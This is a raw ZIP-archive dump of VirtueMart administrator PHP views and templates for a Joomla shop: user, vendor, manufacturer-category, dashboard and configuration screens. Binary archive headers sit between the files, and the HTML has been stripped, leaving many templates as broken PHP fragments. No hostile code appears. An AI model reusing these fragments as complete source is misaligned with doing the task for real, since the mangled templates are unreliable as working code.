      : contactDetails->con_position;?>
      : contactDetails->telephone;?>
      : contactDetails->fax;?>
      contactDetails->misc;?>
      Contact

      PKtl>\5 ]com_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/edit_shipto.phpnuW+A
      shipToFields); if (count($this->shipToFields['functions']) > 0) { echo ''."\n"; } for ($_i = 0, $_n = count($this->shipToFields['fields']); $_i < $_n; $_i++) { // Do this at the start of the loop, since we're using 'continue' below! if ($_i == 0) { $_field = current($this->shipToFields['fields']); } else { $_field = next($this->shipToFields['fields']); } if ($_field['hidden'] == true) { $_hiddenFields .= $_field['formcode']."\n"; continue; } if ($_field['type'] == 'delimiter') { if ($_set) { // We're in Fieldset. Close this one and start a new if ($_table) { echo ' '."\n"; $_table = false; } echo '
      '."\n"; } $_set = true; echo '
      '."\n"; echo ' '."\n"; echo ' ' . $_field['title']; echo ' '."\n"; continue; } if (!$_table) { // A table hasn't been opened as well. We need one here, echo ' '."\n"; $_table = true; } echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } if ($_table) { echo '
      '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
      '."\n"; } if ($_set) { echo '
      '."\n"; } echo $_hiddenFields; if(!empty($this->virtuemart_userinfo_id)){ echo ''; } ?> PKtl>\7  Vcom_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/edit.phpnuW+A
      userDetails->user_is_vendor){ $tabarray['vendor'] = 'COM_VIRTUEMART_VENDOR'; $tabarray['vendorletter'] = 'COM_VIRTUEMART_VENDORLETTER'; } $tabarray['shopper'] = 'COM_VIRTUEMART_SHOPPER_FORM_LBL'; //$tabarray['user'] = 'COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO'; if ($this->shipToId != 0 || $this->new) { $tabarray['shipto'] = 'COM_VIRTUEMART_USER_FORM_SHIPTO_LBL'; } if (($_ordcnt = count($this->orderlist)) > 0) { $tabarray['orderlist'] = 'COM_VIRTUEMART_ORDER_LIST_LBL'; } AdminUIHelper::buildTabs ( $this, $tabarray,'vm-user'); ?> addStandardHiddenToForm(); ?>
      PKtl>\پ22ccom_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/edit_vendorletter.phpnuW+A

      JText::_('COM_VIRTUEMART_VENDOR_LETTER_A4'), 'Letter'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_LETTER')), $default=$this->vendor->vendor_letter_format, $attrib='', 'value', 'text', $zero=false); ?> JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT'), 'L'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE')), $default=$this->vendor->vendor_letter_orientation, $attrib='', 'value', 'text', $zero=false); ?> vendor->vendor_letter_add_tos); ?> vendor->vendor_letter_add_tos_newpage); ?>
      :
      mm
      :
      mm
      :
      mm
      :
      mm
      :
      mm
      :
      mm
      pdfFonts, 'vendor_letter_font', 'size', 'value', 'text', $this->vendor->vendor_letter_font); // echo JHTML::link('http://dev.virtuemart.net/','Get More Fonts!','target="_blank"'); ?>
      : pt
      : pt
      : pt
      :
      vendor->vendor_letter_header); ?> :
      vendor->vendor_letter_header_line); ?> :
      vendor->vendor_letter_header_image); ?> :
      editor->display('vendor_letter_header_html', $this->vendor->vendor_letter_header_html, '100%', 200, 70, 15)?>

      vendor->vendor_letter_footer); ?> :
      vendor->vendor_letter_footer_line); ?> :
      editor->display('vendor_letter_footer_html', $this->vendor->vendor_letter_footer_html, '100%', 200, 70, 15)?>

      PKtl>\)l `com_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/edit_orderlist.phpnuW+A
      orderlist as $i => $row) { $editlink = JROUTE::_('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $row->virtuemart_order_id); //OrderPrint is deprecated // $print_url = JURI::base().'?option=com_virtuemart&view=orders&task=orderPrint&virtuemart_order_id='.$row->virtuemart_order_id.'&format=raw'; // $print_link = " " // . JHTML::_('image.site', 'printButton.png', ((JVM_VERSION===1) ? '/images/M_images/' : '/images/system/'), null, null, JText::_('COM_VIRTUEMART_PRINT'), array('align' => 'center', 'height'=> '16', 'width' => '16', 'border' => '0')).''; ?>
      order_number; ?> created_on,'LC2',true); ?> modified_on,'LC2',true); ?> order_status); ?> currency->priceDisplay($row->order_total); ?>
      PKtl>\2[]com_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/edit_vendor.phpnuW+A langList; ?>
      :
      :
      :
      :
      : currencies, 'vendor_currency', '', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_currency); ?>
      : currencies, 'vendor_accepted_currencies[]', 'size=10 multiple="multiple" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_accepted_currencies); ?>
      vendor->images[0]->displayFilesHandler($this->vendor->virtuemart_media_id,'vendor'); ?>
      editor->display('vendor_store_desc', $this->vendor->vendor_store_desc, '100%', 350, 70, 15)?>
      editor->display('vendor_terms_of_service', $this->vendor->vendor_terms_of_service, '100%', 350, 70, 15)?>
      editor->display('vendor_legal_info', $this->vendor->vendor_legal_info, '100%', 100, 70, 15)?>
      vendor); ?>
      PKtl>\)Wcom_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Xcom_virtuemart_update/administrator/components/com_virtuemart/views/user/tmpl/index.htmlnuW+APKtl>\55$5$Vcom_virtuemart_update/administrator/components/com_virtuemart/views/user/view.html.phpnuW+AassignRef('perm',$perm); $model = VmModel::getModel(); $currentUser = JFactory::getUser(); $task = JRequest::getWord('task', 'edit'); if($task == 'editshop'){ if(Vmconfig::get('multix','none') !=='none'){ //Maybe we must check here if the user is vendor and if he has an own id and else map to mainvendor. $userId = 0; } else { if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $userId = VirtueMartModelVendor::getUserIdByVendorId(1); } $this->SetViewTitle('STORE' ); } else if ($task == 'add'){ $userId = 0; } else { $userId = JRequest::getVar('virtuemart_user_id',0); if(is_array($userId)){ $userId = $userId[0]; } $this->SetViewTitle('USER'); } $userId = $model->setId($userId); //$layoutName = JRequest::getWord('layout', 'default'); $layoutName = $this->getLayout(); if ($layoutName == 'edit' || $layoutName == 'edit_shipto') { $editor = JFactory::getEditor(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $userDetails = $model->getUser(); if($task == 'editshop' && $userDetails->user_is_vendor){ // $model->setCurrent(); if(!empty($userDetails->vendor->vendor_store_name)){ $this->SetViewTitle('STORE',$userDetails->vendor->vendor_store_name, 'shop_mart' ); } else { $this->SetViewTitle('STORE',JText::_('COM_VIRTUEMART_NEW_VENDOR') , 'shop_mart'); } $vendorid = $userDetails->virtuemart_vendor_id; } else { $vendorid = 0 ; $this->SetViewTitle('USER',$userDetails->JUser->get('name')); } $_new = ($userDetails->JUser->get('id') < 1); $this->addStandardEditViewCommands($vendorid); // User details $_contactDetails = $model->getContactDetails(); $_groupList = $model->getGroupList(); if (!is_array($_groupList)) { $this->lists['gid'] = ''. JText::_($_groupList) .''; } else { $this->lists['gid'] = JHTML::_('select.genericlist', $_groupList, 'gid', 'size="10"', 'value', 'text', $userDetails->JUser->get('gid')); } $this->lists['canBlock'] = ($currentUser->authorize('com_users', 'block user') && ($userDetails->JUser->get('id') != $currentUser->get('id'))); // Can't block myself $this->lists['canSetMailopt'] = $currentUser->authorize('workflow', 'email_events'); $this->lists['block'] = JHTML::_('select.booleanlist', 'block', 'class="inputbox"', $userDetails->JUser->get('block'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->lists['sendEmail'] = JHTML::_('select.booleanlist', 'sendEmail', 'class="inputbox"', $userDetails->JUser->get('sendEmail'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->lists['params'] = $userDetails->JUser->getParameters(true); // Shopper info $this->lists['shoppergroups'] = ShopFunctions::renderShopperGroupList($userDetails->shopper_groups,true, 'virtuemart_shoppergroup_id'); $this->lists['vendors'] = ShopFunctions::renderVendorList($userDetails->virtuemart_vendor_id); $model->setId($userDetails->JUser->get('id')); $this->lists['custnumber'] = $model->getCustomerNumberById(); // Shipment address(es) $this->lists['shipTo'] = ShopFunctions::generateStAddressList($this,$model,'addST'); $new = false; if(JRequest::getInt('new','0')===1){ $new = true; } $virtuemart_userinfo_id_BT = $model->getBTuserinfo_id($userId); $userFieldsArray = $model->getUserInfoInUserFields($layoutName,'BT',$virtuemart_userinfo_id_BT,false); $userFieldsBT = $userFieldsArray[$virtuemart_userinfo_id_BT]; //$this->lists['perms'] = JHTML::_('select.genericlist', Permissions::getUserGroups(), 'perms', '', 'group_name', 'group_name', $userDetails->perms); // Load the required scripts if (count($userFieldsBT['scripts']) > 0) { foreach ($userFieldsBT['scripts'] as $_script => $_path) { JHTML::script($_script, $_path); } } // Load the required stylesheets if (count($userFieldsBT['links']) > 0) { foreach ($userFieldsBT['links'] as $_link => $_path) { JHTML::stylesheet($_link, $_path); } } $this->assignRef('userFieldsBT', $userFieldsBT); $this->assignRef('userInfoID', $virtuemart_userinfo_id_BT); $addrtype = vRequest::getCmd('addrtype'); if ($layoutName == 'edit_shipto' or $task=='addST' or $addrtype=='ST') { $virtuemart_userinfo_id = JRequest::getString('virtuemart_userinfo_id', '0',''); $userFieldsArray = $model->getUserInfoInUserFields($layoutName,'ST',$virtuemart_userinfo_id,false); if($new ){ $virtuemart_userinfo_id = 0; } else { } $userFieldsST = $userFieldsArray[$virtuemart_userinfo_id]; $this->assignRef('shipToFields', $userFieldsST); } $this->assignRef('shipToId', $virtuemart_userinfo_id); $this->assignRef('new', $new); if (!$_new) { // Check for existing orders for this user $orders = VmModel::getModel('orders'); $orderList = $orders->getOrdersList($userDetails->JUser->get('id'), true); } else { $orderList = null; } if (count($orderList) > 0 || !empty($userDetails->user_is_vendor)) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency',$currency); } // vmdebug('user $userDetails ', $userDetails ); if (!empty($userDetails->user_is_vendor)) { $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId($userDetails->virtuemart_vendor_id); $vendorModel->addImages($userDetails->vendor); $this->assignRef('vendor', $userDetails->vendor); $currencyModel = VmModel::getModel('currency'); $_currencies = $currencyModel->getCurrencies(); $this->assignRef('currencies', $_currencies); $configModel = VmModel::getModel('config'); $this->assignRef('pdfFonts', $configModel->getTCPDFFontsList()); } $this->assignRef('userDetails', $userDetails); $this->assignRef('orderlist', $orderList); $this->assignRef('contactDetails', $_contactDetails); $this->assignRef('editor', $editor); } else { JToolBarHelper::divider(); JToolBarHelper::custom('toggle.user_is_vendor.1', 'publish','','COM_VIRTUEMART_USER_ISVENDOR'); JToolBarHelper::custom('toggle.user_is_vendor.0', 'unpublish','','COM_VIRTUEMART_USER_ISNOTVENDOR'); JToolBarHelper::divider(); JToolBarHelper::deleteList(); JToolBarHelper::editListX(); //This is intentionally, creating new user via BE is buggy and can be done by joomla //JToolBarHelper::addNewX(); $this->addStandardDefaultViewLists($model,'ju.id'); $userList = $model->getUserList(); $this->assignRef('userList', $userList); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $shoppergroupmodel = VmModel::getModel('shopperGroup'); $defaultShopperGroup = $shoppergroupmodel->getDefault(0)->shopper_group_name; $this->assignRef('defaultShopperGroup', $defaultShopperGroup); } if(!empty($this->orderlist)){ VmConfig::loadJLang('com_virtuemart_orders',TRUE); } parent::display($tpl); } /* * What is this doing here? * */ function renderMailLayout ($doVendor=false) { $tpl = ($doVendor) ? 'mail_html_regvendor' : 'mail_html_reguser'; $this->setLayout($tpl); $vendorModel = VmModel::getModel('vendor'); $vendorId = 1; $vendorModel->setId($vendorId); $vendor = $vendorModel->getVendor(); $vendorModel->addImages($vendor); $this->assignRef('subject', ($doVendor) ? JText::sprintf('COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT', $this->user->get('email')) : JText::sprintf('COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT',$vendor->vendor_store_name)); parent::display(); } } //No Closing Tag PKtl>\ecom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturercategories/index.htmlnuW+APKtl>\9~CChcom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturercategories/tmpl/edit.phpnuW+A
      langList; ?>
      manufacturerCategory->mf_category_name); ?> manufacturerCategory->published); ?> manufacturerCategory->mf_category_desc); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\PG(: : kcom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturercategories/tmpl/default.phpnuW+A
      manufacturerCategories ); $i < $n; $i++) { $row = $this->manufacturerCategories[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_manufacturercategories_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=manufacturercategories&task=edit&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); $manufacturersList = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&virtuemart_manufacturercategories_id=' . $row->virtuemart_manufacturercategories_id); ?>
      sort('virtuemart_manufacturercategories_id', 'COM_VIRTUEMART_ID') ?>
      mf_category_name; ?> mf_category_desc); ?> virtuemart_manufacturercategories_id; ?>
      pagination->getListFooter(); ?>
      addStandardHiddenToForm(); ?>
      PKtl>\jcom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturercategories/tmpl/index.htmlnuW+APKtl>\)icom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturercategories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\--hcom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturercategories/view.html.phpnuW+ASetViewTitle('MANUFACTURER_CATEGORY'); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $manufacturerCategory = $model->getData(); $this->assignRef('manufacturerCategory', $manufacturerCategory); $this->addStandardEditViewCommands($manufacturerCategory->virtuemart_manufacturercategories_id); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $manufacturerCategories = $model->getManufacturerCategories(); $this->assignRef('manufacturerCategories', $manufacturerCategories); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKtl>\)dcom_virtuemart_update/administrator/components/com_virtuemart/views/manufacturercategories/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Qo o \com_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/view.html.phpnuW+AgetTotalCustomers(); $this->assignRef('nbrCustomers', $nbrCustomers); $nbrActiveProducts = $model->getTotalActiveProducts(); $this->assignRef('nbrActiveProducts', $nbrActiveProducts); $nbrInActiveProducts = $model->getTotalInActiveProducts(); $this->assignRef('nbrInActiveProducts', $nbrInActiveProducts); $nbrFeaturedProducts = $model->getTotalFeaturedProducts(); $this->assignRef('nbrFeaturedProducts', $nbrFeaturedProducts); $ordersByStatus = $model->getTotalOrdersByStatus(); $this->assignRef('ordersByStatus', $ordersByStatus); $recentOrders = $model->getRecentOrders(); if(!class_exists('CurrencyDisplay'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); /* Apply currency This must be done per order since it's vendor specific */ $_currencies = array(); // Save the currency data during this loop for performance reasons foreach ($recentOrders as $virtuemart_order_id => $order) { //This is really interesting for multi-X, but I avoid to support it now already, lets stay it in the code if (!array_key_exists('v'.$order->virtuemart_vendor_id, $_currencies)) { $_currencies['v'.$order->virtuemart_vendor_id] = CurrencyDisplay::getInstance('',$order->virtuemart_vendor_id); } $order->order_total = $_currencies['v'.$order->virtuemart_vendor_id]->priceDisplay($order->order_total); } $this->assignRef('recentOrders', $recentOrders); $recentCustomers = $model->getRecentCustomers(); $this->assignRef('recentCustomers', $recentCustomers); if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.'/helpers/shopfunctions.php'); $extensionsFeed = ShopFunctions::getExtensionsRssFeed(); $this->assignRef('extensionsFeed', $extensionsFeed); $virtuemartFeed = ShopFunctions::getVirtueMartRssFeed(); $this->assignRef('virtuemartFeed', $virtuemartFeed); // Options button. // if ( !JVM_VERSION===1) { // if (JFactory::getUser()->authorise('core.admin', 'com_virtuemart')) { // JToolBarHelper::preferences('com_virtuemart'); // } // } parent::display($tpl); } } //pure php no tagPKtl>\#o,,Ycom_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/index.htmlnuW+APKtl>\)Xcom_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKtl>\2EJIIncom_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/tmpl/default_statisticspage.phpnuW+A ordersByStatus ); $i < $n; $i++) { $row = $this->ordersByStatus[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&show='.$row->order_status_code); ?> order_count; } ?> recentOrders); $i < $n; $i++) { $row = $this->recentOrders[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$row->virtuemart_order_id); ?> recentCustomers); $i < $n; $i++) { $row = $this->recentCustomers[$i]; $link = JROUTE::_('index.php?option=com_virtuemart&view=user&virtuemart_user_id='.$row->virtuemart_user_id); ?>
      nbrCustomers ?>
      nbrActiveProducts ?>
      : nbrInActiveProducts ?>
      nbrFeaturedProducts ?>
      order_status_name); ?> order_count; ?>
      :
      order_number; ?> order_total ?>
      first_name . ' ' . $row->last_name. ' (' . $row->order_number . ') '; ?>
      PKtl>\#o,,^com_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/tmpl/index.htmlnuW+APKtl>\)]com_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\bb_com_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/tmpl/default.phpnuW+A 'COM_VIRTUEMART_CONTROL_PANEL', 'statisticspage'=> 'COM_VIRTUEMART_STATISTIC_STATISTICS' ) ); AdminUIHelper::endAdminArea (); PKtl>\͚rnnlcom_virtuemart_update/administrator/components/com_virtuemart/views/virtuemart/tmpl/default_controlpanel.phpnuW+A
      canDo->get('core.admin') || $this->canDo->get('vm.product')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.category')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.orders')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.paymentmethod')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.user')) { ?>
      canDo->get('core.admin')) { ?>
      canDo->get('core.admin') || $this->canDo->get('vm.user.editshop')) { ?>
      virtuemartFeed) { ?>

        virtuemartFeed as $item) { if (!empty($item->link)) { $description=strip_tags($item->description); $description=substr($description, 0,200)."..."; ?>
      • title; ?>
      extensionsFeed ) { $j=0; foreach ($this->extensionsFeed as $item){ // This is directly related to extensions.virtuemart.net if (($j / 5) == 0) { ?>

      link)) { $description = $item->description; preg_match('/]+>/i',$description, $result); if (is_array($result) and isset($result[0])){ $image=$result[0]; $description=str_replace($image,"",$description); $description=strip_tags($description); $description=str_replace(JText::_ ('COM_VIRTUEMART_FEED_READMORE') ,"",$description); } else { $description=""; } ?>

      PKtl>\#o,,Ucom_virtuemart_update/administrator/components/com_virtuemart/views/config/index.htmlnuW+APKtl>\)aUUXcom_virtuemart_update/administrator/components/com_virtuemart/views/config/view.html.phpnuW+AaddStandardEditViewCommands(); $config = VmConfig::loadConfig(); if(!empty($config->_params)){ unset ($config->_params['pdf_invoice']); // parameter remove and replaced by inv_os } $this->assignRef('config', $config); $mainframe = JFactory::getApplication(); $this->assignRef('joomlaconfig', $mainframe); $userparams = JComponentHelper::getParams('com_users'); $this->assignRef('userparams', $userparams); $templateList = ShopFunctions::renderTemplateList(JText::_('COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT')); $this->assignRef('jTemplateList', $templateList); $vmLayoutList = $model->getLayoutList('virtuemart'); $this->assignRef('vmLayoutList', $vmLayoutList); $categoryLayoutList = $model->getLayoutList('category'); $this->assignRef('categoryLayoutList', $categoryLayoutList); $productLayoutList = $model->getLayoutList('productdetails'); $this->assignRef('productLayoutList', $productLayoutList); $noimagelist = $model->getNoImageList(); $this->assignRef('noimagelist', $noimagelist); $orderStatusModel=VmModel::getModel('orderstatus'); $this->assignRef('orderStatusModel', $orderStatusModel); $currConverterList = $model->getCurrencyConverterList(); $this->assignRef('currConverterList', $currConverterList); $moduleList = $model->getModuleList(); $this->assignRef('moduleList', $moduleList); $activeLanguages = $model->getActiveLanguages( VmConfig::get('active_languages') ); $this->assignRef('activeLanguages', $activeLanguages); $orderByFieldsProduct = $model->getProductFilterFields('browse_orderby_fields'); $this->assignRef('orderByFieldsProduct', $orderByFieldsProduct); VmModel::getModel('category'); foreach (VirtueMartModelCategory::$_validOrderingFields as $key => $field ) { if($field=='c.category_shared') continue; $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; $orderByFieldsCat[] = JHTML::_('select.option', $field, $text) ; } //$orderByFieldsCat = $model->get; $this->assignRef('orderByFieldsCat', $orderByFieldsCat); $searchFields = $model->getProductFilterFields( 'browse_search_fields'); $this->assignRef('searchFields', $searchFields); $aclGroups = $usermodel->getAclGroupIndentedTree(); $this->assignRef('aclGroups', $aclGroups); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); shopFunctions::checkSafePath(); $this -> checkVmUserVendor(); parent::display($tpl); } private function checkVmUserVendor(){ $db = JFactory::getDBO(); $multix = Vmconfig::get('multix','none'); $q = 'select * from #__virtuemart_vmusers where user_is_vendor = 1';// and virtuemart_vendor_id '.$vendorWhere.' limit 1'; $db->setQuery($q); $r = $db->loadAssocList(); if (empty($r)){ vmWarn('Your Virtuemart installation contains an error: No user as marked as vendor. Please fix this in your phpMyAdmin and set #__virtuemart_vmusers.user_is_vendor = 1 and #__virtuemart_vmusers.virtuemart_vendor_id = 1 to one of your administrator users. Please update all users to be associated with virtuemart_vendor_id 1.'); } else { if($multix=='none' and count($r)!=1){ vmWarn('You are using single vendor mode, but it seems more than one user is set as vendor'); } foreach($r as $entry){ if(empty($entry['virtuemart_vendor_id'])){ vmWarn('The user with virtuemart_user_id = '.$entry['virtuemart_user_id'].' is set as vendor, but has no referencing vendorId.'); } } } } } // pure php no closing tag PKtl>\/ccom_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default_pricing.phpnuW+AaddScriptDeclaration($js); ?>
      config, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->config, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
      PKtl>\#o,,Zcom_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/index.htmlnuW+APKtl>\V7F%F%dcom_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default_checkout.phpnuW+AaddScriptDeclaration($js); /*
      */ ?>
      JText::_('COM_VIRTUEMART_DELDATE_INV') , 'osP' => JText::_('COM_VIRTUEMART_ORDER_STATUS_PENDING') , 'osU' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED') , 'osS' => JText::_('COM_VIRTUEMART_ORDER_STATUS_SHIPPED') , 'osR' => JText::_('COM_VIRTUEMART_ORDER_STATUS_REFUNDED') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CANCELLED') ); echo VmHTML::row('selectList','COM_VIRTUEMART_CFG_DELDATE_INV','del_date_type', VmConfig::get('del_date_type','m'), $_delivery_date_options); ?>
      orderStatusModel->renderOSList(VmConfig::get('inv_os',array('C')),'inv_os',TRUE); ?>
      orderStatusModel->renderOSList(VmConfig::get('email_os_s',array('U','C','S','R','X')),'email_os_s',TRUE); ?>
      orderStatusModel->renderOSList(VmConfig::get('email_os_v',array('U','C','R','X')),'email_os_v',TRUE); ?>
      titlesFields ; ?>
      */ ?>PKtl>\)Ycom_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\et _com_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default_sef.phpnuW+A
      PKtl>\G[com_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default.phpnuW+A
      'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB', 'shopfront' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB', 'templates' => 'COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB', 'pricing' => 'COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB', 'checkout' => 'COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB', 'product_order'=> 'COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB', 'sef' => 'COM_VIRTUEMART_ADMIN_CFG_SEF' )); ?>
      PKtl>\0^ ^ icom_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default_product_order.phpnuW+A
      orderByFieldsProduct->select, 'browse_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_orderby_field', 'product_name'), 'product_name'); $orderDirs[] = JHTML::_('select.option', 'ASC' , JText::_('Ascending')) ; $orderDirs[] = JHTML::_('select.option', 'DESC' , JText::_('Descending')) ; echo JHTML::_('select.genericlist', $orderDirs, 'prd_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('prd_brws_orderby_dir', 'ASC') ); ?> orderByFieldsCat, 'browse_cat_orderby_field', 'size=1', 'value', 'text', VmConfig::get('browse_cat_orderby_field', 'category_name'), 'category_name'); echo JHTML::_('select.genericlist', $orderDirs, 'cat_brws_orderby_dir', 'size=10', 'value', 'text', VmConfig::get('cat_brws_orderby_dir', 'ASC') ); ?>
      orderByFieldsProduct->checkbox; ?>
      searchFields->checkbox; ?>
      PKtl>\>^g7g7ecom_virtuemart_update/administrator/components/com_virtuemart/views/config/tmpl/default_shopfront.phpnuW+A
      '1 ' . JText::_('COM_VIRTUEMART_DAY') , '1,W' => '1 ' . JText::_('COM_VIRTUEMART_WEEK') , '2,W' => '2 ' . JText::_('COM_VIRTUEMART_WEEK_S') , '1,M' => '1 ' . JText::_('COM_VIRTUEMART_MONTH') , '3,M' => '3 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '6,M' => '6 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '1,Y' => '1 ' . JText::_('COM_VIRTUEMART_YEAR') ); echo VmHTML::selectList('coupons_default_expire', VmConfig::get('coupons_default_expire'), $_defaultExpTime); ?>
      orderStatusModel->renderOSList(VmConfig::get('cp_rm',array('C')),'cp_rm',TRUE) ; ?>
      JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED'), 'created_on' => JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED') ); echo VmHTML::selectList('latest_products_orderBy', VmConfig::get('latest_products_orderBy', 'created_on'), $latest_products_orderBy); ?>
